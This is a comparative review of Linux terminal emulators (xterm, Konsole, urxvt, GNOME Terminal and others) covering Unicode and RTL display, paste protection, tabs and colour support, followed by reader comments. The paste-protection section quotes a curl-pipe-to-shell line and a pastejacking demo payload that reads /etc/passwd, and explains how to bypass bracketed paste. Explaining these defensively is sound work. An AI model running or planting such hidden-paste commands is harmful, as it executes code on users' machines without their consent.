This article is the first in a two-part series about terminal emulators.

  1. A look at terminal emulators, part 1
    1. Unicode support
    2. Paste protection
    3. Tabs and profiles
    4. Eye candy
    5. Preliminary conclusions

Terminals have a special place in computing history, surviving along with the command line in the face of the rising ubiquity of graphical interfaces. Terminal emulators have replaced hardware terminals, which themselves were upgrades from punched cards and toggle-switch inputs. Modern distributions now ship with a surprising variety of terminal emulators. While some people may be happy with the default terminal provided by their desktop environment, others take great pride at using exotic software for running their favorite shell or text editor. But as we'll see in this two-part series, not all terminals are created equal: they vary wildly in terms of functionality, size, and performance.

Some terminals have surprising security vulnerabilities and most have wildly different feature sets, from support for a tabbed interface to scripting. While we have covered terminal emulators in the distant past, this article provides a refresh to help readers determine which terminal they should be running in 2018. This first article compares features, while the second part evaluates performance.

Here are the terminals examined in the series:

Terminal Debian Fedora Upstream Notes
Alacritty N/A N/A 6debc4f no releases, Git head
GNOME Terminal 3.22.2 3.26.2 3.28.0 uses GTK3, VTE
Konsole 16.12.0 17.12.2 17.12.3 uses KDE libraries
mlterm 3.5.0 3.7.0 3.8.5 uses VTE, "Multi-lingual terminal"
pterm 0.67 0.70 0.70 PuTTY without ssh, uses GTK2
st 0.6 0.7 0.8.1 "simple terminal"
Terminator 1.90+bzr-1705 1.91 1.91 uses GTK3, VTE
urxvt 9.22 9.22 9.22 main rxvt fork, also known as rxvt-unicode
Xfce Terminal 0.8.3 0.8.7 0.8.7.2 uses GTK3, VTE
xterm 327 330 331 the original X terminal

Those versions may be behind the latest upstream releases, as I restricted myself to stable software that managed to make it into Debian 9 (stretch) or Fedora 27. One exception to this rule is the Alacritty project, which is a poster child for GPU-accelerated terminals written in a fancy new language (Rust, in this case). I excluded web-based terminals (including those using Electron) because preliminary tests showed rather poor performance.

Unicode support

The first feature I considered is Unicode support. The first test was to display a string that was based on a string from the Wikipedia Unicode page: "é, Δ, Й, ק ,م, ๗,あ,叶, 葉, and 말". This tests whether a terminal can correctly display scripts from all over the world reliably. xterm fails to display the Arabic Mem character in its default configuration:

xterm failure

By default, xterm uses the classic "fixed" font which, according to Wikipedia has "substantial Unicode coverage since 1997". Something is happening here that makes the character display as a box: only by bumping the font size to "Huge" (20 points) is the character finally displayed correctly, and then other characters fail to display correctly:

xterm failure, huge fonts

Those screenshots were generated on Fedora 27 as it gave better results than Debian 9, where some older versions of the terminals (mlterm, namely) would fail to properly fallback across fonts. Thankfully, this seems to have been fixed in later versions.

Now notice the order of the string displayed by xterm: it turns out that Mem and the following character, the Semitic Qoph, are both part of right-to-left (RTL) scripts, so technically, they should be rendered right to left when displayed. Web browsers like Firefox 57 handle this correctly in the above string. A simpler test is the word "Sarah" in Hebrew (שרה). The Wikipedia page about bi-directional text explains that:

Many computer programs fail to display bi-directional text correctly. For example, the Hebrew name Sarah (שרה) is spelled: sin (ש) (which appears rightmost), then resh (ר), and finally heh (ה) (which should appear leftmost).

Many terminals fail this test: Alacritty, VTE-derivatives (GNOME Terminal, Terminator, and XFCE Terminal), urxvt, st, and xterm all show Sarah's name backwards—as if we would display it as "Haras" in English.

GNOME Terminal Hebrew

The other challenge with bi-directional text is how to align it, especially mixed RTL and left-to-right (LTR) text. RTL scripts should start from the right side of the terminal, but what should happen in a terminal where the prompt is in English, on the left? Most terminals do not make special provisions and align all of the text on the left, including Konsole, which otherwise displays Sarah's name in the right order. Here, pterm and mlterm seem to be sticking to the standard a little more closely and align the test string on the right.

mlterm Hebrew

Paste protection

The next critical feature I have identified is paste protection. While it is widely known that incantations like:

    $ curl http://example.com/ | sh

are arbitrary code execution vectors, a less well-known vulnerability is that hidden commands can sneak into copy-pasted text from a web browser, even after careful review. Jann Horn's test site brilliantly shows how the apparently innocuous command: git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

gets turned into this nasty mess (reformatted a bit for easier reading) when pasted from Horn's site into a terminal:

    git clone /dev/null;
    clear;
    echo -n "Hello ";
    whoami|tr -d '\n';
    echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! \
    Here'"'"'s the first line of your /etc/passwd: ';
    head -n1 /etc/passwd
    git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

This works by hiding the evil code in a <span> block that's moved out of the viewport using CSS.

Bracketed paste mode is explicitly designed to neutralize this attack. In this mode, terminals wrap pasted text in a pair of special escape sequences to inform the shell of that text's origin. The shell can then ignore special editing characters found in the pasted text. Terminals going all the way back to the venerable xterm have supported this feature, but bracketed paste also needs support from the shell or application running on the terminal. For example, software using GNU Readline (e.g. Bash) needs the following in the ~/.inputrc file:

    set enable-bracketed-paste on

Unfortunately, Horn's test page also shows how to bypass this protection, by including the end-of-pasted-text sequence in the pasted text itself, thus ending the bracketed mode prematurely. This works because some terminals do not properly filter escape sequences before adding their own. For example, in my tests, Konsole fails to properly escape the second test, even with .inputrc properly configured. That means it is easy to end up with a broken configuration, either due to an unsupported application or misconfigured shell. This is particularly likely when logged on to remote servers where carefully crafted configuration files may be less common, especially if you operate many different machines.

A good solution to this problem is the confirm-paste plugin of the urxvt terminal, which simply prompts before allowing any paste with a newline character. I haven't found another terminal with such definitive protection against the attack described by Horn.

Tabs and profiles

A popular feature is support for a tabbed interface, which we'll define broadly as a single terminal window holding multiple terminals. This feature varies across terminals: while traditional terminals like xterm do not support tabs at all, more modern implementations like Xfce Terminal, GNOME Terminal, and Konsole all have tab support. Urxvt also features tab support through a plugin. But in terms of tab support, Terminator takes the prize: not only does it support tabs, but it can also tile terminals in arbitrary patterns (as seen at the right).

Terminator tiling

Another feature of Terminator is the capability to "group" those tabs together and to send the same keystrokes to a set of terminals all at once, which provides a crude way to do mass operations on multiple servers simultaneously. A similar feature is also implemented in Konsole. Third-party software like Cluster SSH, xlax, or tmux must be used to have this functionality in other terminals.

Tabs work especially well with the notion of "profiles": for example, you may have one tab for your email, another for chat, and so on. This is well supported by Konsole and GNOME Terminal; both allow each tab to automatically start a profile. Terminator, on the other hand, supports profiles, but I could not find a way to have specific tabs automatically start a given program. Other terminals do not have the concept of "profiles" at all.

Eye candy

The last feature I considered is the terminal's look and feel. For example, GNOME, Xfce, and urxvt support transparency, background colors, and background images. Terminator also supports transparency, but recently dropped support for background images, which made some people switch away to another tiling terminal, Tilix. I am personally happy with only a Xresources file setting a basic color set (Solarized) for urxvt. Such non-standard color themes can create problems however. Solarized, for example, breaks with color-using applications such as htop and IPTraf.

While the original VT100 terminal did not support colors, newer terminals usually did, but were often limited to a 256-color palette. For power users styling their terminals, shell prompts, or status bars in more elaborate ways, this can be a frustrating limitation. A Gist keeps track of which terminals have "true color" support. My tests also confirm that st, Alacritty, and the VTE-derived terminals I tested have excellent true color support. Other terminals, however, do not fare so well and actually fail to display even 256 colors. You can see below the difference between true color support in GNOME Terminal, st, and xterm, which still does a decent job at approximating the colors using its 256-color palette. Urxvt not only fails the test but even shows blinking characters instead of colors.

True color

Some terminals also parse the text for URL patterns to make them clickable. This is the case for all VTE-derived terminals, while urxvt requires the matcher plugin to visit URLs through a mouse click or keyboard shortcut. Other terminals reviewed do not display URLs in any special way.

Finally, a new trend treats scrollback buffers as an optional feature. For example, st has no scrollback buffer at all, pointing people toward terminal multiplexers like tmux and GNU Screen in its FAQ. Alacritty also lacks scrollback buffers but will add support soon because there was "so much pushback on the scrollback support". Apart from those outliers, every terminal I could find supports scrollback buffers.

Preliminary conclusions

In the next article, we'll compare performance characteristics like memory usage, speed, and latency of the terminals. But we can already see that some terminals have serious drawbacks. For example, users dealing with RTL scripts on a regular basis may be interested in mlterm and pterm, as they seem to have better support for those scripts. Konsole gets away with a good score here as well. Users who do not normally work with RTL scripts will also be happy with the other terminal choices.

In terms of paste protection, urxvt stands alone above the rest with its special feature, which I find particularly convenient. Those looking for all the bells and whistles will probably head toward terminals like Konsole. Finally, it should be noted that the VTE library provides an excellent basis for terminals to provide true color support, URL detection, and so on. So at first glance, the default terminal provided by your favorite desktop environment might just fit the bill, but we'll reserve judgment until our look at performance in the next article.


This article first appeared in the Linux Weekly News.

detailed results and discussions

A lengthy discussion about this article has taken place on the LWN.net article, which might be interesting to readers here.

Also of interest of course is git repository. To quote my first comment on the article:

While writing this article, I built a more detailed test procedure to make sure my results were reproducible across multiple machines. This repository is now public here:

https://gitlab.com/anarcat/terms-benchmarks

... with a (potentially out of date) mirror on GitHub here:

https://github.com/anarcat/terms-benchmarks

Only the results for the first part of the series is public so far: a second part for benchmarks will be published along with the second part.

That repository also lists other terminal emulators and why they were not included in the review. Apologies in advance for the maintainers of all those other projects, no harm was intended, but there are so many of you that I had to make a choice at some point. :)

Comment by anarcat
Bugs
Have you considered submitting these bugs to upstream? Especially the ones that are maintained regularly like Konsole, Xterm, etc?
Comment by Ben
bugs

Have you considered submitting these bugs to upstream? Especially the ones that are maintained regularly like Konsole, Xterm, etc?

If you have followed other articles I wrote, you know I usually do this, pretty extensively. :) For example, I filed almost a dozen bug upstream while writing 2018-03-19-sigal (list here).

But this series was different: I was not reviewing a single program, but multiple. And there are a bunch that I reviewed that are not mentioned here. Filing bugs and following up on everything would have been too prohibitive. I have spent already way too much time writing those articles and couldn't afford following up on all those issues.

Besides, many of those are controversial, as you can see in the comments on the LWN site. RTL, for example, is especially tricky to agree on. Others question the very idea that paste problems are even a security in the first place. I do not really want to get into that with all those upstreams...

But of course, the door is wide open for others to file those issues now, and I would very much welcome help in that regard. :)

Cheers!

Comment by anarcat
comment 3

xterm fails to display the Arabic Mem character in its default configuration

Before Unicode, font rendering was simple: a font could only contain 256 characters at most, so pretty much every font had every character you cared about, so you could just load it up and start drawing it to the screen.

With the advent of Unicode, nobody has the patience to draw a complete Unicode font, never mind multiple sizes. Instead, modern font-rendering systems (like browsers and GUI toolkits) will scan all the installed fonts at startup to figure out what Unicode characters they support, and then when they need to draw a particular character, they will search through all the fonts looking for the most appropriate version.

Unfortunately, xterm was designed before Unicode, so by default it just uses characters from a single font. It's not that xterm lacks Unicode support, it's just that it expects you to choose a font that covers all the characters you use on a regular basis.

...only by bumping the font size to "Huge" (20 points) is the character finally displayed correctly, and then other characters fail to display correctly

xterm defaults to non-scalable ("bitmap") fonts, which means that changing the size doesn't just make the letters bigger or smaller, it switches to an entirely separate font that can have different characters available. You can configure xterm to use a scalable font, of course.

Many terminals fail this test: Alacritty, VTE-derivatives (GNOME Terminal, Terminator, and XFCE Terminal), urxvt, st, and xterm all show Sarah's name backwards—as if we would display it as "Haras" in English.

As far as I know, there's no convention about how terminal emulators should handle RTL text; I don't believe any of the original DEC terminals (the ones that terminal emulators are emulating) handled it at all.

For example, If I send a terminal the control sequence to go to location (3, 7) and print "abc", then go back to the same location and print "d", I can be sure I'll see "dbc". If I tell the terminal to go to location (3, 7) and print "שרה" then go back to the same location, and print "ר", will I see "שרר" (overwriting the character visibly at that location) or "ררה" (overwriting the character printed at that location)?

The sanest advice I've heard is that terminals should always display characters left-to-right as they're received, and applications should reverse RTL strings before sending them to the terminal, because the application is the only one that knows what the strings mean and where they should go.

Comment by Screwtape
Created . Edited .